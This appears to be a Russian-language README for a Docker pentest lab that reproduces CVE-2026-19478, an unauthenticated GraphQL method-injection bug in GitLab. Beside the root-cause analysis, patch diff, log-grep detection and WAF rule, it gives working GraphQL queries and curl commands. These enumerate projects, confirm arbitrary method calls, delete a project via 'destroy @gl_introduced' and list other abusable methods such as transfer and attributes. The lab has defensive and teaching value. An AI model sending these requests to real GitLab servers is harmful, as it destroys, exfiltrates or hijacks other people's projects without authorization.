Докеризированная лаборатория эксплойтов и скрипт для CVE-2026-19478 — критической неаутентифицированной инъекции кода в GitLab GraphQL, позволяющей выполнять произвольные вызовы методов Ruby, удалять проекты и похищать данные.
Неаутентифицированная удалённая инъекция кода через директиву GraphQL в GitLab CE/EE — удалите любой публичный проект одним HTTP-запросом
Практическая лаборатория для пентеста, воспроизводящая CVE-2026-19478 — критическую уязвимость (CVSS 9.4) в GraphQL API GitLab. Директива @gl_introduced позволяет неаутентифицированным атакующим вызывать произвольные методы Ruby на серверных объектах — включая удаление проектов, эксфильтрацию данных и передачу прав владения — без какой-либо аутентификации.
Эта лаборатория запускает реально уязвимый экземпляр GitLab CE 19.2.0 в Docker для реалистичной отработки эксплуатации.
| Поле | Значение |
|---|---|
| Идентификатор CVE | CVE-2026-19478 |
| Оценка CVSS | 9.4 (критическая) |
| Продукт | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Тип уязвимости | Инъекция кода / выполнение произвольных методов (CWE-94) |
| Вектор атаки | Сеть (удалённо) |
| Аутентификация | Не требуется |
| Взаимодействие с пользователем | Нет |
| Сложность атаки | Низкая |
| Затронутые версии | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Исправленные версии | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Кем обнаружена | hiimguardian (через HackerOne) |
| Дата исправления | 17 августа 2026 года |
Неаутентифицированный удалённый атакующий может:
GitLab использует собственную директиву GraphQL @gl_introduced(version: "X.Y") для поддержки поэтапных развёртываний. Когда более новая версия GitLab добавляет поле в GraphQL API, старые экземпляры корректно обрабатывают запросы, ссылающиеся на эти новые поля, возвращая null вместо ошибки.
Файл: lib/gitlab/graphql/version_filter/future_field_fallback.rb (строки 14–36)
Пошаговый разбор:
FutureFieldFilter сканирует входящие GraphQL-запросы. Когда поле содержит @gl_introduced(version) с версией новее, чем у текущего сервера, он удаляет поле и устанавливает context[:contain_future_fields] = true.
IntroducedTracer восстанавливает исходный документ запроса во время выполнения, возвращая удалённые поля обратно в AST.
FutureFieldFallback#get_field перехватывает каждый поиск поля во время выполнения. Он проверяет три условия:
contain_future_fields? ✅__? ✅Когда все три проверки пройдены, он синтезирует новый GraphQL::Schema::Field без класса резолвера.
В graphql-ruby поле без резолвера разрешается вызовом object.public_send(field_name) на базовом объекте Ruby — превращая имя поля, указанное атакующим, в произвольный вызов метода модели Project ActiveRecord.
Патч GitLab заменяет неявный вызов методов явным NilResolver, который безусловно возвращает nil, сохраняя совместимость с поэтапным развёртыванием и устраняя возможность выполнения произвольных методов:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie для тестирования API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| Сервис | URL | Учётные данные |
|---|---|---|
| Веб-интерфейс GitLab | http://localhost | root / P@ssw0rd123! |
| GraphQL API | http://localhost/api/graphql | Не требуется |
| Обозреватель GraphQL | http://localhost/-/graphql-explorer | Требуется вход |
| SSH | localhost:2222 | — |
Для машин с ограниченными ресурсами или для более быстрого запуска:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
Проверьте версию сервера:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
Перечислите публичные проекты через GraphQL (без аутентификации):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
Обнаружьте директиву @gl_introduced с помощью интроспекции схемы:
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
Используйте @gl_introduced с будущей версией для поля, которого нет в схеме:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
Если уязвимость присутствует, class вернёт имя Ruby-класса ("Project"), что подтверждает произвольный вызов метода.
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
ПРЕДУПРЕЖДЕНИЕ: Приведённый ниже запрос безвозвратно удалит проект.
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
Другие эксплуатируемые методы модели Project в GitLab:
| Метод | Воздействие |
|---|---|
destroy | Безвозвратно удаляет проект |
archive | Архивирует проект |
transfer | Передаёт права владения проектом |
attributes | Выгружает все атрибуты из базы данных |
repository | Даёт доступ к объекту репозитория |
members | Выводит список участников проекта |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| Индикатор | Описание |
|---|---|
@gl_introduced(version: "99.0") | Попытка эксплуатации с нереалистично высокой версией |
Имена полей: destroy, delete, update, transfer | Нацеленность на деструктивные методы ActiveRecord |
| Неожиданные удаления проектов | Проекты исчезают без действий администратора |
| Изменения видимости | Публичные проекты внезапно становятся приватными |
| Передача прав владения | Проекты передаются неизвестным пользователям |
Блокируйте GraphQL-запросы, содержащие @gl_introduced с высокими номерами версий:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced со строками высоких версий, на уровне обратного прокси/WAFЭта лаборатория создана исключительно для авторизованного обучения в области безопасности и тренировки по пентесту. Её следует использовать только в контролируемых изолированных средах, которые принадлежат вам или на тестирование которых у вас есть явное письменное разрешение.
Не используйте методики, инструменты или код эксплойта из этой лаборатории против какой-либо системы без надлежащего разрешения. Несанкционированный доступ к компьютерным системам является незаконным согласно Закону о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичным законам во всём мире.
Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причинённый данной лабораторией или её содержимым.
Подписывайтесь на @pwnsystem в Instagram, чтобы получать ежедневные советы по кибербезопасности, разборы CVE и руководства по эксплуатации уязвимостей.
Свяжитесь с Punit Darji в LinkedIn, чтобы получать профессиональную аналитику по безопасности и обновления лаборатории.